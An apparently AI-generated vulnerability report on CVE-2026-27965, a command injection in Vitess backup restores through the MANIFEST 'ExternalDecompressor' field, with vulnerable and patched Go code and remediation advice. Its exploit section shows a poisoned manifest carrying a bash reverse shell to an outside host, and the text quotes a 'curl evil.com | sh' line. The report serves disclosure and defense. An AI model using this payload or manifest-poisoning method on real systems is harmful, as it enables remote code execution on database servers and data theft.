CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27965

Manifest Destiny: How Vitess Backups Became a Shell-Popping Paradise

Alon Barad
Alon Barad
Software Engineer

Feb 26, 2026·7 min read·73 visits

Executive Summary (TL;DR)

A Critical Command Injection vulnerability in Vitess's backup restore process. An attacker with write access to the backup storage (S3/GCS) can modify the `MANIFEST` file to inject malicious shell commands via the `ExternalDecompressor` field. When a restore is triggered, Vitess executes these commands as the database user. Fixed in versions 22.0.4 and 23.0.3.

In the world of horizontal scaling, Vitess is the titan that keeps the likes of Slack and YouTube running. But even titans have Achilles' heels. CVE-2026-27965 exposes a critical flaw in how Vitess handles database backups—specifically, the metadata 'manifests' stored alongside them. By modifying a simple JSON field in a backup stored on S3 or GCS, an attacker can trick the database engine into executing arbitrary commands during a restore operation. It turns the disaster recovery process into a disaster delivery mechanism.

The Hook: Trust Issues in the Cloud

If you are running MySQL at a scale where a single instance just doesn't cut it anymore, you are likely using Vitess. It's the clustering system that shards your data across thousands of nodes, making massive scale possible. One of the core promises of Vitess is resilience—if a tablet (a Vitess database instance) dies, another one spins up, pulls a backup from object storage (like AWS S3 or Google Cloud Storage), and gets back to work. Ideally, this happens automatically, without human intervention.

But here is the rub: automation requires trust. The Vitess restore process inherently trusts the data sitting in your object storage bucket. It assumes that if a file is in your S3 bucket, you put it there, and it is safe to process. CVE-2026-27965 challenges that assumption in the most violent way possible.

Imagine a scenario where an attacker compromises a service account that has write access to your S3 backup bucket, but not your production database. In a secure architecture, this should be an annoyance—maybe they delete backups or corrupt data. But thanks to this vulnerability, that limited S3 access can be pivoted directly into Remote Code Execution (RCE) on your production database clusters. It is a classic example of 'data-driven attacks'—where the data itself carries the weapon.

The Flaw: A Manifest Failure

To understand the flaw, we have to look at how Vitess handles compression. Backups are heavy; you don't store raw SQL dumps on S3 if you care about your bill. You compress them. To keep track of how a backup was compressed, Vitess generates a MANIFEST file (JSON format) alongside the backup artifacts. This file contains metadata like the backup time, the position, and—critically—the ExternalDecompressor command.

The logic was simple: 'Hey, when I restore this, what command should I run to decompress it?' The developer's intention was likely flexibility. Maybe you use gzip, maybe zstd, maybe some custom proprietary tool. So, the code was written to read the ExternalDecompressor string from the manifest and pass it to the operating system for execution.

Here is where the logic falls apart. The code treated the MANIFEST file as a trusted configuration source. It did not sanitize the input. It did not validate that the command was a known binary (like tar or zstd). It simply took the string—whatever it was—and executed it. If the manifest said zstd -d, it ran that. If the manifest said bash -c 'curl evil.com | sh', it ran that too.

This is a textbook case of CWE-78 (OS Command Injection), but with a twist. The injection vector isn't a user form or an HTTP header; it's a file sitting in 'cold' storage, waiting for a 'hot' process to wake it up and execute it.

The Code: The Smoking Gun

Let's dig into the Go code that made this possible. The vulnerability resided in go/vt/mysqlctl/builtinbackupengine.go. The engine needed to determine which decompressor to use. It checked if a local flag was set; if not, it fell back to the manifest.

The Vulnerable Code (Pre-Patch)

// builtinbackupengine.go
 
// 1. Load the manifest from storage
manifest, err := readManifest(ctx, backupHandle)
 
// 2. Check for local configuration override
externalDecompressorCmd := ExternalDecompressorCmd
 
// 3. THE BUG: Fallback to untrusted input
if externalDecompressorCmd == "" && manifest.ExternalDecompressor != "" {
    // If the admin didn't strictly specify a decompressor on the CLI,
    // use whatever the JSON file says.
    externalDecompressorCmd = manifest.ExternalDecompressor
}
 
// 4. Execute
cmd := exec.Command("sh", "-c", externalDecompressorCmd)
cmd.Run()

See the issue? If the administrator hadn't explicitly hardcoded a decompressor in the vttablet arguments (which is common, as defaults are convenient), the code happily accepts the manifest's suggestion. It hands control of the execution flow to the storage layer.

The Fix (Commit 4c01732)

The patch changes the philosophy: Trust Local, Verify Remote. The developers introduced a new flag, --external-decompressor-use-manifest, which defaults to false. Without this flag explicitly set to true, the manifest's command is ignored.

// The patched logic
func resolveExternalDecompressor(manifestDecompressor string) string {
    // Priority 1: Local Configuration (Safe)
    if ExternalDecompressorCmd != "" {
        return ExternalDecompressorCmd
    }
 
    // Priority 2: Manifest (Only if explicitly opted-in)
    if ExternalDecompressorUseManifest && manifestDecompressor != "" {
        return manifestDecompressor
    }
 
    // Default: Reject
    return ""
}

This seemingly small boolean check effectively kills the attack vector by enforcing a "secure by default" posture.

The Exploit: Weaponizing the Restore

Exploiting this requires patience and access, but the payoff is massive. The attacker doesn't need to touch the database directly; they just need to poison the well.

Prerequisites: Write access to the S3 bucket (or GCS/MinIO) where backups are stored.

Step 1: Reconnaissance

First, the attacker lists the bucket contents to find a valid backup directory. They are looking for the MANIFEST file.

aws s3 ls s3://vitess-backups/keyspace/shard-80-c0/
# Output: 2026-02-23.120000/MANIFEST

Step 2: The Poison Pill

The attacker downloads the MANIFEST file. It's just JSON. They locate the ExternalDecompressor key.

Original (Safe):

{
  "BackupName": "2026-02-23.120000",
  "ExternalDecompressor": "zstd -d"
}

Modified (Weaponized):

{
  "BackupName": "2026-02-23.120000",
  "ExternalDecompressor": "bash -c 'nohup bash -i >& /dev/tcp/10.0.0.66/1337 0>&1 &'"
}

Step 3: The Trap is Set

The attacker uploads the modified MANIFEST back to S3, overwriting the original.

Step 4: Execution

The attacker waits. Eventually, a node will restart, a new pod will scale up, or an admin will manually trigger a restore using vtctl RestoreTablet. When the vttablet process pulls down that backup to initialize its data directory, it parses the JSON and executes the reverse shell payload. The attacker now has a shell inside the production database pod, likely with access to the mounted persistent volumes containing the actual database files.

The Impact: From S3 Write to DB Admin

Why is this severity 'High' (CVSS 8.4) and not 'Critical'? Only because it requires High Privileges (access to the bucket). However, in many cloud environments, the 'Backup Bucket' is often less guarded than the database itself. Developers might have write access to S3 for debugging, or a CI/CD pipeline might have permissions to push artifacts there.

If exploited, the consequences are catastrophic:

  1. Data Exfiltration: The attacker is inside the database container. They can simply cat the raw data files or use the local mysql client to dump the entire dataset and stream it out.
  2. Lateral Movement: Vitess runs in clusters. Compromising one tablet often provides network access to the Topology Service (etcd/ZooKeeper) and other tablets.
  3. Persistence: The attacker could modify the backup data itself (the .csv or .sql files) to insert backdoors into the database rows, which will then be served to the application users once the restore completes.

This vulnerability bridges the gap between 'Infrastructure' (S3) and 'Application' (Database), turning a storage permission issue into a full system compromise.

The Fix: Mitigation & Remediation

The remediation path is straightforward but requires action on both the software and infrastructure levels.

1. Patch the Binary

Upgrade your Vitess control plane and tablets immediately.

  • Affected: < 22.0.4, >= 23.0.0, < 23.0.3
  • Safe: 22.0.4, 23.0.3+

2. Verify Configuration

After patching, ensure you do not enable the new flag --external-decompressor-use-manifest unless you have a specific, secured reason to do so. The default is false, which is safe.

If you use an external decompressor (like lz4 or zstd), specify it explicitly in your vttablet arguments:

# Safe Configuration
--external-decompressor "zstd -d"

This ensures the command is hardcoded in your pod spec, not read from a mutable JSON file.

3. Lockdown Storage

Review your IAM policies for the backup buckets. Only the Vitess service account should have s3:PutObject permissions. Developers and CI tools should generally have Read-Only access to production backups.

Official Patches

VitessCommit 4c01732: Fix backup manifest trust

Fix Analysis (1)

Technical Appendix

CVSS Score
8.4/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Vitess vttabletVitess vtbackupVitess vtcombo

Affected Versions Detail

Product
Affected Versions
Fixed Version
Vitess
vitessio
< 22.0.422.0.4
Vitess
vitessio
>= 23.0.0, < 23.0.323.0.3
AttributeDetail
CVE IDCVE-2026-27965
CVSS v4.08.4 (High)
CWECWE-78 (OS Command Injection)
VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L
Attack VectorNetwork (via Object Storage)
Exploit StatusProof of Concept (PoC) Available

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1566Phishing (Supply Chain Compromise via Storage)
Initial Access
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Known Exploits & Detection

GitHub IssuePublic disclosure and reproduction steps in Vitess issue tracker

Vulnerability Timeline

Vulnerability reported to Vitess maintainers
2026-02-24
Issue #19459 created
2026-02-24
Patch developed and committed (PR #19460)
2026-02-24
CVE-2026-27965 assigned and advisory published
2026-02-26

References & Sources

  • [1]GitHub Security Advisory
  • [2]Vitess Backup & Restore Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-9277
8.1

CVE-2026-9277: OS Command Injection in shell-quote via Object-Token Line Terminator Parsing Defect

A technical breakdown of the OS command injection vulnerability in the shell-quote NPM package (CVE-2026-9277 / GHSA-w7jw-789q-3m8p). The bug resides in the character-by-character backslash-escaping logic applied to the .op field of object-tokens within the quote() function, which fails to match and escape line terminators due to a regex matching oversight in JavaScript. This allows unauthenticated remote attackers to execute arbitrary shell commands if they can control inputs processed by this library.

Alon Barad
Alon Barad
5 views•6 min read
•about 3 hours ago•CVE-2026-11645
8.8

CVE-2026-11645: Out-of-Bounds Memory Access in Google Chrome V8 Engine

A high-severity memory corruption vulnerability exists in the V8 JavaScript engine of Google Chrome before versions 149.0.7827.102/103. The flaw arises from an incorrect bounds-check elimination during JIT compilation by the TurboFan optimizer, allowing remote attackers to achieve out-of-bounds read and write access inside the sandboxed renderer process.

Amit Schendel
Amit Schendel
18 views•6 min read
•about 12 hours ago•CVE-2026-50751
9.3

CVE-2026-50751: Authentication Bypass in Check Point Security Gateway IKEv1 Legacy Validation

An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.

Alon Barad
Alon Barad
63 views•6 min read
•1 day ago•CVE-2026-39922
6.3

CVE-2026-39922: Server-Side Request Forgery in GeoNode Service Registration Endpoint

GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.

Alon Barad
Alon Barad
4 views•7 min read
•1 day ago•CVE-2022-0492
7.8

CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.

Amit Schendel
Amit Schendel
12 views•7 min read
•3 days ago•GHSA-G72G-R7M4-9X4G
6.3

GHSA-G72G-R7M4-9X4G: Insufficient Session Expiration of OAuth Tokens in NocoDB

NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.

Amit Schendel
Amit Schendel
12 views•6 min read